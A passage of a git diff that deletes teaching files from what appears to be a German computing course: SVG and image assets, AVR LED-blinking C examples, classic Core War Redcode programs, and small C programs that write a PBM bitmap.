l 0.081,-1.221 -3.839,-3.173 1.322,-2.492 2.735,2.257 0.678,-10.494993 -6.233,11.775993 -10.359,-5.486 9.305,-17.578993 h -6.629 l -3.999,7.549 3.956,3.266 0,0 z m 25.526993,-26.304 c -3.469,0 -6.278993,2.811 -6.278993,6.278 0,3.47 2.810993,6.28 6.278993,6.28 3.467,0 6.277,-2.811 6.277,-6.28 0,-3.468 -2.81,-6.278 -6.277,-6.278 z m 6.62,57.535993 c 1.19,-0.388 2.249,-1.098 3.058,-2.052 l 6.531,-7.729 c 1.591,-1.881 3.93,-2.966 6.393,-2.966 2.604,0 5.055,1.207 6.64,3.27 l 17.293,22.5 c 0.225,0.294 0.345,0.65 0.345,1.021 0,0.925 -0.747,1.672 -1.672,1.672 H 98.680487 c -0.921,0 -1.67,-0.747 -1.67,-1.672 0,-0.398 0.137,-0.779 0.393,-1.08 l 9.604993,-11.364 c 0.404,-0.479 0.933,-0.833 1.529,-1.026 l 1.788,-0.574 0,0 z" - id="path7_1_" - style="fill:#000000;stroke:none" - inkscape:connector-curvature="0" /> -</svg> \ No newline at end of file diff --git a/script/Waschen_30.pdf b/script/Waschen_30.pdf deleted file mode 100644 index 52b505c1e31fc79a2dee123eb81a394b2efa847b..0000000000000000000000000000000000000000 Binary files a/script/Waschen_30.pdf and /dev/null differ diff --git a/script/Waschen_30.svg b/script/Waschen_30.svg deleted file mode 100644 index d4447736cf97d8486d4a5e56b7ab59fb8c2d3b4d..0000000000000000000000000000000000000000 --- a/script/Waschen_30.svg +++ /dev/null @@ -1,42 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - version="1.0" - x="0.0000000" - y="0.0000000" - width="375.00000" - height="375.00000" - id="svg1"> - <defs - id="defs3"> - <linearGradient - id="linearGradient1547"> - <stop - style="stop-color:#000000;stop-opacity:1.0000000" - offset="0.0000000" - id="stop1548" /> - <stop - style="stop-color:#ffffff;stop-opacity:1.0000000" - offset="1.0000000" - id="stop1549" /> - </linearGradient> - </defs> - <path - d="M 132.43826,141.34062 C 135.83667,142.06721 138.48510,143.57893 140.38358,145.87578 C 142.30541,148.17267 143.26635,151.00861 143.26639,154.38359 C 143.26635,159.56329 141.48510,163.57110 137.92264,166.40703 C 134.36011,169.24297 129.29761,170.66093 122.73514,170.66093 C 120.53200,170.66093 118.25856,170.43828 115.91483,169.99297 C 113.59450,169.57109 111.19216,168.92656 108.70779,168.05937 L 108.70779,161.20390 C 110.67654,162.35235 112.83278,163.21953 115.17654,163.80547 C 117.52028,164.39141 119.96950,164.68438 122.52420,164.68437 C 126.97730,164.68438 130.36402,163.80547 132.68436,162.04765 C 135.02807,160.28985 136.19995,157.73517 136.19998,154.38359 C 136.19995,151.28986 135.11011,148.87580 132.93045,147.14140 C 130.77417,145.38361 127.76246,144.50471 123.89529,144.50468 L 117.77811,144.50468 L 117.77811,138.66875 L 124.17654,138.66875 C 127.66871,138.66878 130.34058,137.97737 132.19217,136.59453 C 134.04370,135.18831 134.96948,133.17269 134.96951,130.54765 C 134.96948,127.85238 134.00854,125.78988 132.08670,124.36015 C 130.18824,122.90707 127.45777,122.18051 123.89529,122.18047 C 121.94996,122.18051 119.86403,122.39145 117.63748,122.81328 C 115.41091,123.23520 112.96169,123.89145 110.28983,124.78203 L 110.28983,118.45390 C 112.98513,117.70396 115.50466,117.14146 117.84842,116.76640 C 120.21559,116.39146 122.44215,116.20396 124.52811,116.20390 C 129.91870,116.20396 134.18433,117.43442 137.32498,119.89531 C 140.46557,122.33286 142.03588,125.63754 142.03592,129.80937 C 142.03588,132.71566 141.20385,135.17659 139.53983,137.19218 C 137.87573,139.18440 135.50854,140.56721 132.43826,141.34062 M 171.95389,121.82890 C 168.29762,121.82895 165.54372,123.63364 163.69217,127.24297 C 161.86403,130.82894 160.94997,136.23128 160.94998,143.45000 C 160.94997,150.64533 161.86403,156.04767 163.69217,159.65703 C 165.54372,163.24297 168.29762,165.03594 171.95389,165.03593 C 175.63355,165.03594 178.38745,163.24297 180.21561,159.65703 C 182.06714,156.04767 182.99292,150.64533 182.99295,143.45000 C 182.99292,136.23128 182.06714,130.82894 180.21561,127.24297 C 178.38745,123.63364 175.63355,121.82895 171.95389,121.82890 M 171.95389,116.20390 C 177.83667,116.20396 182.32495,118.53599 185.41873,123.20000 C 188.53588,127.84066 190.09447,134.59066 190.09451,143.45000 C 190.09447,152.28595 188.53588,159.03595 185.41873,163.70000 C 182.32495,168.34062 177.83667,170.66093 171.95389,170.66093 C 166.07106,170.66093 161.57106,168.34062 158.45389,163.70000 C 155.36013,159.03595 153.81326,152.28595 153.81326,143.45000 C 153.81326,134.59066 155.36013,127.84066 158.45389,123.20000 C 161.57106,118.53599 166.07106,116.20396 171.95389,116.20390" - transform="scale(1.255735,1.453502)" - style="font-size:72.000000px;font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;writing-mode:lr-tb;text-anchor:start;fill:#000000;fill-opacity:1.0000000;stroke:none;stroke-width:1.0000000pt;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000;font-family:Bitstream Vera Sans" - id="text2897" /> - <g - id="g2806"> - <path - d="M 46.352165,145.54748 C 69.810441,145.54748 69.810441,124.65767 93.268724,124.65767 C 116.72698,124.65767 116.72698,145.54748 140.18525,145.54748 C 163.64355,145.54748 163.64355,124.65767 187.10180,124.65767 C 210.56007,124.65767 210.56007,145.54748 234.01836,145.54748 C 257.47663,145.54748 257.47663,124.65767 280.93489,124.65767 C 304.39316,124.65767 304.39316,145.54748 327.85144,145.54748" - style="fill:none;fill-opacity:1.0000000;fill-rule:evenodd;stroke:#000000;stroke-width:12.500000;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000" - id="path629" /> - <path - d="M 37.456350,106.87084 L 71.853509,278.85663 L 302.16847,278.85663 L 337.60154,106.87084" - style="fill:none;fill-opacity:1.0000000;fill-rule:evenodd;stroke:#000000;stroke-width:12.500000;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4.0000000;stroke-dashoffset:0.0000000;stroke-opacity:1.0000000" - id="path630" /> - </g> -</svg> diff --git a/script/Z3_Deutsches_Museum.JPG b/script/Z3_Deutsches_Museum.JPG deleted file mode 100644 index 9b025ca65f0c0ec1cf9f317dbb80879efdf662da..0000000000000000000000000000000000000000 Binary files a/script/Z3_Deutsches_Museum.JPG and /dev/null differ diff --git a/script/alu-speicher-takt-computer.jpg b/script/alu-speicher-takt-computer.jpg deleted file mode 100644 index 378c42263d8692cae39276dd122d821f9fbdb6a6..0000000000000000000000000000000000000000 Binary files a/script/alu-speicher-takt-computer.jpg and /dev/null differ diff --git a/script/alu.jpg b/script/alu.jpg deleted file mode 100644 index 49d3cebc9d3d17498c133c7a3121fbfba7006da9..0000000000000000000000000000000000000000 Binary files a/script/alu.jpg and /dev/null differ diff --git a/script/b800.jpg b/script/b800.jpg deleted file mode 100644 index 9c4ccd41ce2526ca90885b0b6598b658ddce3827..0000000000000000000000000000000000000000 Binary files a/script/b800.jpg and /dev/null differ diff --git a/script/binaerzaehler.jpg b/script/binaerzaehler.jpg deleted file mode 100644 index da466741c95544268d473c27cca07bd64e7000bf..0000000000000000000000000000000000000000 Binary files a/script/binaerzaehler.jpg and /dev/null differ diff --git a/script/bnc-netz-ende.jpg b/script/bnc-netz-ende.jpg deleted file mode 100644 index 9b5168bc047122520db1dc156ad371dec5fe422a..0000000000000000000000000000000000000000 Binary files a/script/bnc-netz-ende.jpg and /dev/null differ diff --git a/script/bnc-netz-falsch.jpg b/script/bnc-netz-falsch.jpg deleted file mode 100644 index 3969879fb5120f0e37e456fc92da625e2e201694..0000000000000000000000000000000000000000 Binary files a/script/bnc-netz-falsch.jpg and /dev/null differ diff --git a/script/bnc-netz-mitte.jpg b/script/bnc-netz-mitte.jpg deleted file mode 100644 index fba4a32f5eed39455144ba26c54f099307ea3566..0000000000000000000000000000000000000000 Binary files a/script/bnc-netz-mitte.jpg and /dev/null differ diff --git a/script/computer-1.jpg b/script/computer-1.jpg deleted file mode 100644 index 02c50617f63a4c4344b1cfc18076f42a57ea7782..0000000000000000000000000000000000000000 Binary files a/script/computer-1.jpg and /dev/null differ diff --git a/script/computer-2.jpg b/script/computer-2.jpg deleted file mode 100644 index 83693b62698497df58235c10f9ef367a54f4940f..0000000000000000000000000000000000000000 Binary files a/script/computer-2.jpg and /dev/null differ diff --git a/script/computer-3.jpg b/script/computer-3.jpg deleted file mode 100644 index 94bdd22f9dc335a02e29d2ecbcedc84382cebb38..0000000000000000000000000000000000000000 Binary files a/script/computer-3.jpg and /dev/null differ diff --git a/script/computer-4.jpg b/script/computer-4.jpg deleted file mode 100644 index 151a8facb276840c9d28f34e9ba7fa836ac0ba81..0000000000000000000000000000000000000000 Binary files a/script/computer-4.jpg and /dev/null differ diff --git a/script/debug-screenshot.png b/script/debug-screenshot.png deleted file mode 100644 index 4e5ab802f3120f11f9eb527439749a5c6c7341f4..0000000000000000000000000000000000000000 Binary files a/script/debug-screenshot.png and /dev/null differ diff --git a/script/examples/blink-0.c b/script/examples/blink-0.c deleted file mode 100644 index 78f19877db18c4e1c4156151eabd6f4fe314f828..0000000000000000000000000000000000000000 --- a/script/examples/blink-0.c +++ /dev/null @@ -1,7 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ /* dasselbe wie: 64 */ - PORTC = 0x40; /* dasselbe wie: 1 << 6 */ - return 0; /* Bedeutung: Bit Nr. 6 */ -} diff --git a/script/examples/blink-1.c b/script/examples/blink-1.c deleted file mode 100644 index a6c0119a5b2a89de01568d174bebaaf739e0d611..0000000000000000000000000000000000000000 --- a/script/examples/blink-1.c +++ /dev/null @@ -1,8 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - PORTC = 0x40; - while (1); - return 0; -} diff --git a/script/examples/blink-2.c b/script/examples/blink-2.c deleted file mode 100644 index ccd70f6d5f541b6abd2b2d2472d54bc5d3ad899c..0000000000000000000000000000000000000000 --- a/script/examples/blink-2.c +++ /dev/null @@ -1,9 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - DDRC = 0x40; /* Bit 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen */ - while (1); - return 0; -} diff --git a/script/examples/blink-3.c b/script/examples/blink-3.c deleted file mode 100644 index 000b6a1226711c263efecde7f903cb801521f2fa..0000000000000000000000000000000000000000 --- a/script/examples/blink-3.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - DDRB = 0x00; /* Port B komplett für Input konfigurieren */ - /* --> bewirkt _zufällig_, daß die LED SL4 ausgeht */ - DDRC = 0x40; /* Bit 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen */ - while (1); - return 0; -} diff --git a/script/examples/blink-4.c b/script/examples/blink-4.c deleted file mode 100644 index c572dc72415221723845b8147515f766cd05f7ab..0000000000000000000000000000000000000000 --- a/script/examples/blink-4.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0; /* Bits an Port B auf 0 setzen */ - DDRC = 0x40; /* Bit 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen */ - while (1); - return 0; -} diff --git a/script/examples/blink-5.c b/script/examples/blink-5.c deleted file mode 100644 index 524b3470c34f4349c85018f926f069e3c43d6dc7..0000000000000000000000000000000000000000 --- a/script/examples/blink-5.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <avr/io.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0; /* Bits an Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen, Bit 4 und 5 auf 0 setzen */ - while (1); - return 0; -} diff --git a/script/examples/blink-6.c b/script/examples/blink-6.c deleted file mode 100644 index 7e47c41c24a631c8cef31bf24f5568994f3f92a1..0000000000000000000000000000000000000000 --- a/script/examples/blink-6.c +++ /dev/null @@ -1,20 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0; /* Bits an Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen, Bit 4 und 5 auf 0 setzen */ - while (1) - { - _delay_ms (500); - PORTC = 0x70; - _delay_ms (500); - PORTC = 0x40; - } - return 0; -} diff --git a/script/examples/blink-7.c b/script/examples/blink-7.c deleted file mode 100644 index 13dc33e39ab0658a42cf1281d8a049415162f848..0000000000000000000000000000000000000000 --- a/script/examples/blink-7.c +++ /dev/null @@ -1,18 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0; /* Bits an Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen, Bit 4 und 5 auf 0 setzen */ - while (1) - { - _delay_ms (500); - PORTC ^= 0x30; - } - return 0; -} diff --git a/script/examples/blink-8.c b/script/examples/blink-8.c deleted file mode 100644 index 470363d949aa638b48ca723f633f9da444c27395..0000000000000000000000000000000000000000 --- a/script/examples/blink-8.c +++ /dev/null @@ -1,18 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0; /* Bits an Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x40; /* Bit 6 an Port C auf 1 setzen, Bit 4 und 5 auf 0 setzen */ - while (1) - { - _delay_ms (500); - PORTC ^= 0x70; - } - return 0; -} diff --git a/script/examples/blink-9.c b/script/examples/blink-9.c deleted file mode 100644 index 915e6ca132b5dd519ce992f2bd43302bd5ba0d97..0000000000000000000000000000000000000000 --- a/script/examples/blink-9.c +++ /dev/null @@ -1,21 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0x00; /* Bits an Output-Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - DDRC = 0x30; /* Bit 6 an Port C für Input konfigurieren */ - while (1) - { - if (PINC & 0x40) - PORTB = 0x80; - else - PORTB = 0x00; - } - return 0; -} diff --git a/script/examples/blink-9a.c b/script/examples/blink-9a.c deleted file mode 100644 index 454c8d8a71e73cfe601d3bafa32d7faccef22163..0000000000000000000000000000000000000000 --- a/script/examples/blink-9a.c +++ /dev/null @@ -1,21 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x80; /* Bit 7 an Port B für Output konfigurieren */ - DDRC = 0x40; /* Bit 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - DDRC = 0x00; /* Bit 6 an Port C (und alle anderen auch) */ - /* für Input konfigurieren */ - while (1) - { - if (PINC & 0x40) - PORTB = 0x80; - else - PORTB = 0x00; - } - return 0; -} diff --git a/script/examples/blink-a.c b/script/examples/blink-a.c deleted file mode 100644 index 32dfa302c5d6859d2b07c95f9c1723b1665446f5..0000000000000000000000000000000000000000 --- a/script/examples/blink-a.c +++ /dev/null @@ -1,22 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0x00; /* Bits an Output-Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - DDRC = 0x30; /* Bit 6 an Port C für Input konfigurieren */ - while (1) - { - if (PINC & 0x40) - { - PORTB ^= 0x80; - _delay_ms (500); - } - } - return 0; -} diff --git a/script/examples/blink-b.c b/script/examples/blink-b.c deleted file mode 100644 index b2f9a5fe85395bd5f412aa2b654d309cf306ba57..0000000000000000000000000000000000000000 --- a/script/examples/blink-b.c +++ /dev/null @@ -1,24 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0x00; /* Bits an Output-Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - DDRC = 0x30; /* Bit 6 an Port C für Input konfigurieren */ - while (1) - { - if (PINC & 0x40) - { - PORTB ^= 0x80; - _delay_ms (10); /* Taster entprellen */ - while (PINC & 0x40); - _delay_ms (10); /* Taster entprellen */ - } - } - return 0; -} diff --git a/script/examples/blink-c.c b/script/examples/blink-c.c deleted file mode 100644 index 47432a13a9a0ed3ecff3835d4f899e8c4c459537..0000000000000000000000000000000000000000 --- a/script/examples/blink-c.c +++ /dev/null @@ -1,22 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - int a = 0, b = 0; - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0x00; /* Bits an Output-Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - DDRC = 0x30; /* Bit 6 an Port C für Input konfigurieren */ - while (1) - { - a = PINC & 0x40; - if (a != 0 && b == 0) - PORTB ^= 0x80; - b = a; - } - return 0; -} diff --git a/script/examples/blink-d.c b/script/examples/blink-d.c deleted file mode 100644 index fc91830b20b8397e65eedf3270488bd7eae71d28..0000000000000000000000000000000000000000 --- a/script/examples/blink-d.c +++ /dev/null @@ -1,25 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 8000000 -#include <util/delay.h> - -int main (void) -{ - int a = 0, b = 0; - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0x00; /* Bits an Output-Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - DDRC = 0x30; /* Bit 6 an Port C für Input konfigurieren */ - while (1) - { - a = PINC & 0x40; - if (a != 0 && b == 0) - { - PORTB ^= 0x80; - _delay_ms (10); - } - b = a; - } - return 0; -} diff --git a/script/examples/blink-e.c b/script/examples/blink-e.c deleted file mode 100644 index b23a641bb3986736d8638e1f10aa6918d334d027..0000000000000000000000000000000000000000 --- a/script/examples/blink-e.c +++ /dev/null @@ -1,26 +0,0 @@ -#include <avr/io.h> -#include <avr/interrupt.h> - -ISR (TIMER0_COMP_vect) -{ - static int counter = 0; - if (counter++ >= 488) - { - PORTB ^= 0x80; - counter = 0; - } -} - -int main (void) -{ - cli (); - TCCR0 = (1 << CS01) | (1 << CS00); - TIMSK = 1 << OCIE0; - sei (); - DDRB = 0x83; /* Bit 7, 1 und 0 auf Port B für Output konfigurieren */ - PORTB = 0x00; /* Bits an Output-Port B auf 0 setzen */ - DDRC = 0x70; /* Bit 4, 5 und 6 an Port C für Output konfigurieren */ - PORTC = 0x00; /* Bits an Output-Port C auf 0 setzen */ - while (1); - return 0; -} diff --git a/script/examples/catcan.red b/script/examples/catcan.red deleted file mode 100644 index 74cbb3d1388d9cd0ee089b4b0ecba9a6eda30f3b..0000000000000000000000000000000000000000 --- a/script/examples/catcan.red +++ /dev/null @@ -1,23 +0,0 @@ -;name Cat Can -;author A. Kirchner, F. Uy -;assert 1 -; -; Your basic two sweep methodical bomber. -; Fires SPL 0 and JMP -1 at every eight -; addresses, then erases the core with -; DAT bombs. - -start mov trap2, < bomb - mov trap1, < bomb - sub # 6, bomb - jmn start, bomb ; trap loop -set mov # -12, bomb -kill mov bomb, @ bomb - djn kill, bomb ; kill loop -reset jmp set, 0 - jmp set, 0 - dat # 0, # 0 ; buffer -bomb dat # 0, # -1024 -trap1 spl 0, 2 -trap2 jmp -1, 1 - end start diff --git a/script/examples/dwarf.red b/script/examples/dwarf.red deleted file mode 100644 index cac740afd6d0e12d5776948e5f05b3dc24f8f6c3..0000000000000000000000000000000000000000 --- a/script/examples/dwarf.red +++ /dev/null @@ -1,14 +0,0 @@ -;redcode -;name Dwarf -;author A. K. Dewdney -;strategy Throw DAT bombs around memory, hitting every 4th memory cell. -;strategy This program was presented in the first Corewar article. - -bomb DAT #0 -dwarf ADD #4, bomb - MOV bomb, @bomb - JMP dwarf - END dwarf ; Programs start at the first line unless - ; an "END start" pseudo-op appears to indicate - ; the first logical instruction. Also, nothing - ; after the END instruction will be assembled. diff --git a/script/examples/endloskopierschleife-nachher-nachher.png b/script/examples/endloskopierschleife-nachher-nachher.png deleted file mode 100644 index 0125415ab05e9f790291cb0775dc155c689d1108..0000000000000000000000000000000000000000 Binary files a/script/examples/endloskopierschleife-nachher-nachher.png and /dev/null differ diff --git a/script/examples/endloskopierschleife-nachher.png b/script/examples/endloskopierschleife-nachher.png deleted file mode 100644 index c3a0a299daeb066a684b891108f8bbc206b72bcf..0000000000000000000000000000000000000000 Binary files a/script/examples/endloskopierschleife-nachher.png and /dev/null differ diff --git a/script/examples/endloskopierschleife-vorher.png b/script/examples/endloskopierschleife-vorher.png deleted file mode 100644 index 1e2c318c65323d738985b59ef0a9756f81bf43fb..0000000000000000000000000000000000000000 Binary files a/script/examples/endloskopierschleife-vorher.png and /dev/null differ diff --git a/script/examples/gelbes-a.png b/script/examples/gelbes-a.png deleted file mode 100644 index bcf3307a8c6ceb8a3aecf9c3b7bcaae9a3d29584..0000000000000000000000000000000000000000 Binary files a/script/examples/gelbes-a.png and /dev/null differ diff --git a/script/examples/gemini.red b/script/examples/gemini.red deleted file mode 100644 index 9159b61aaf984a51418b4e9d34c6ca23d001b428..0000000000000000000000000000000000000000 --- a/script/examples/gemini.red +++ /dev/null @@ -1,15 +0,0 @@ -;name Gemini -;assert 1 - -dat1 dat #0 -dat2 dat #99 -start mov @dat1, @dat2 - add #1, dat1 - add #1, dat2 - cmp dat1, dat3 - jmp start - mov #99, 94 - jmp 94 -dat3 dat #10 - - end start diff --git a/script/examples/hello-world-data.png b/script/examples/hello-world-data.png deleted file mode 100644 index c1b6d21704fca3cec53adbcd1f8eeb97d01e938f..0000000000000000000000000000000000000000 Binary files a/script/examples/hello-world-data.png and /dev/null differ diff --git a/script/examples/knirps.red b/script/examples/knirps.red deleted file mode 100644 index befaa2a3da9a8cab5e76207623ac49880453b472..0000000000000000000000000000000000000000 --- a/script/examples/knirps.red +++ /dev/null @@ -1,5 +0,0 @@ -;name Knirps -;assert 1 - -start mov 0, 1 - end start diff --git a/script/examples/kopierschleife-nachher.png b/script/examples/kopierschleife-nachher.png deleted file mode 100644 index 895efe6190f642a68ab1f4e26d8fa90367be72c6..0000000000000000000000000000000000000000 Binary files a/script/examples/kopierschleife-nachher.png and /dev/null differ diff --git a/script/examples/kopierschleife-vorher.png b/script/examples/kopierschleife-vorher.png deleted file mode 100644 index ad0c569eef70ffdd921dc5da8a1eb65e572e1d4b..0000000000000000000000000000000000000000 Binary files a/script/examples/kopierschleife-vorher.png and /dev/null differ diff --git a/script/examples/mice.red b/script/examples/mice.red deleted file mode 100644 index 0b17fb8c6db22239bf870c841e600a24f82a2216..0000000000000000000000000000000000000000 --- a/script/examples/mice.red +++ /dev/null @@ -1,16 +0,0 @@ -;name Mice -;author Chip Wendell -;assert 1 - -ptr dat #0 -start mov #12, ptr ; n = 12 -loop mov @ptr, <dest ; *dest = *(ptr+(*ptr)) - djn loop, ptr ; if(--ptr != 0) - ; goto loop - spl @dest ; split(*dest) - add #653, dest ; dest += 653 - jmz start, ptr ; if(!ptr) - ; goto start -dest dat #833 - - end start diff --git a/script/examples/nachher.png b/script/examples/nachher.png deleted file mode 100644 index fbd6bc2b66cdd821561e49648f5e6f1c3054395d..0000000000000000000000000000000000000000 Binary files a/script/examples/nachher.png and /dev/null differ diff --git a/script/examples/nothing.red b/script/examples/nothing.red deleted file mode 100644 index 5d6f3c21f2f19c3929c675c21b1e9a8ff47d8bf1..0000000000000000000000000000000000000000 --- a/script/examples/nothing.red +++ /dev/null @@ -1,5 +0,0 @@ -;name Nothing -;assert 1 - -start jmp 0 - end start diff --git a/script/examples/oft.red b/script/examples/oft.red deleted file mode 100644 index 635dc16a6b27135fce830814e4cb71c6a7e62605..0000000000000000000000000000000000000000 --- a/script/examples/oft.red +++ /dev/null @@ -1,12 +0,0 @@ -;redcode -;name oft -;version 1.0 (8.1990) -;author Olaf Klein -;assert 1 - -; +----------------------------------+ -; | O F T by O.K. AUG. 1990 | -; +----------------------------------+ - -SPL <456 -JMP -1 diff --git a/script/examples/rote-linie-1.png b/script/examples/rote-linie-1.png deleted file mode 100644 index 4f8c0b41c107b55b7d3237e14c0109ce3ada6859..0000000000000000000000000000000000000000 Binary files a/script/examples/rote-linie-1.png and /dev/null differ diff --git a/script/examples/rote-linie-2.png b/script/examples/rote-linie-2.png deleted file mode 100644 index b33f3e0cec38c73cebb29c0c636789ad49dc5966..0000000000000000000000000000000000000000 Binary files a/script/examples/rote-linie-2.png and /dev/null differ diff --git a/script/examples/rote-linie-3.png b/script/examples/rote-linie-3.png deleted file mode 100644 index 112710d84ab6c706bfe324a2e4400d5103ad70a7..0000000000000000000000000000000000000000 Binary files a/script/examples/rote-linie-3.png and /dev/null differ diff --git a/script/examples/rote-punkte.png b/script/examples/rote-punkte.png deleted file mode 100644 index 6755c32763412c80a39dae5bd09fbabfc7576bf4..0000000000000000000000000000000000000000 Binary files a/script/examples/rote-punkte.png and /dev/null differ diff --git a/script/examples/roter-punkt.png b/script/examples/roter-punkt.png deleted file mode 100644 index e3fa0ad8de25bc9d2379f120c9c5e162205ab05a..0000000000000000000000000000000000000000 Binary files a/script/examples/roter-punkt.png and /dev/null differ diff --git a/script/examples/rotes-alphabet-quelltext.png b/script/examples/rotes-alphabet-quelltext.png deleted file mode 100644 index 75804c24012d2ed2792595311b7194ce5b593aa0..0000000000000000000000000000000000000000 Binary files a/script/examples/rotes-alphabet-quelltext.png and /dev/null differ diff --git a/script/examples/rotes-alphabet.png b/script/examples/rotes-alphabet.png deleted file mode 100644 index e5823bee58f6d3fc9c713b02f3735f2f4e84d34e..0000000000000000000000000000000000000000 Binary files a/script/examples/rotes-alphabet.png and /dev/null differ diff --git a/script/examples/vorher.png b/script/examples/vorher.png deleted file mode 100644 index a46b91157ab7f6c01aa0a55126d381f281f930e6..0000000000000000000000000000000000000000 Binary files a/script/examples/vorher.png and /dev/null differ diff --git a/script/examples/writepbm-1.c b/script/examples/writepbm-1.c deleted file mode 100644 index d3ff3220187eb64bda68783ba3ee418dabd35a6a..0000000000000000000000000000000000000000 --- a/script/examples/writepbm-1.c +++ /dev/null @@ -1,31 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -#define WIDTH 64 -#define HEIGHT 64 - -#define SIZE ((WIDTH / 8) * HEIGHT) - -int8_t buffer[SIZE]; - -void clear (void) -{ - for (int i = 0; i < SIZE; i++) - buffer[i] = 0; -} - -void set_pixel (int x, int y) -{ - int i = (WIDTH / 8) * y; - i += x / 8; /* Byte innerhalb von buffer[] */ - int b = x % 8; /* Bit innerhalb des Bytes */ - buffer[i] |= 1 << b; -} - -int main (void) -{ - clear (); - for (int i = 0; i < HEIGHT; i++) - set_pixel (i, i); - return 0; -} diff --git a/script/examples/writepbm-2.c b/script/examples/writepbm-2.c deleted file mode 100644 index 209685607f20864b74ea1132b9f98bfac5039367..0000000000000000000000000000000000000000 --- a/script/examples/writepbm-2.c +++ /dev/null @@ -1,38 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -#define WIDTH 64 -#define HEIGHT 64 - -#define SIZE ((WIDTH / 8) * HEIGHT) - -uint8_t buffer[SIZE]; - -void clear (void) -{ - for (int i = 0; i < SIZE; i++) - buffer[i] = 0; -} - -void set_pixel (int x, int y) -{ - int i = (WIDTH / 8) * y; - i += x / 8; /* Byte innerhalb von buffer[] */ - int b = x % 8; /* Bit innerhalb des Bytes */ - buffer[i] |= 1 << b; -} - -void output (void) -{ - for (int i = 0; i < SIZE; i++) - printf ("%c", buffer[i]); -} - -int main (void) -{ - clear (); - for (int i = 0; i < HEIGHT; i++) - set_pixel (i, i); - output (); - return 0; -} diff --git a/script/examples/writepbm-3.c b/script/examples/writepbm-3.c deleted file mode 100644 index 4e7b7068aa901a0b56048fd8c0201fce25c273e6..0000000000000000000000000000000000000000 --- a/script/examples/writepbm-3.c +++ /dev/null @@ -1,39 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -#define WIDTH 64 -#define HEIGHT 64 - -#define SIZE ((WIDTH / 8) * HEIGHT) 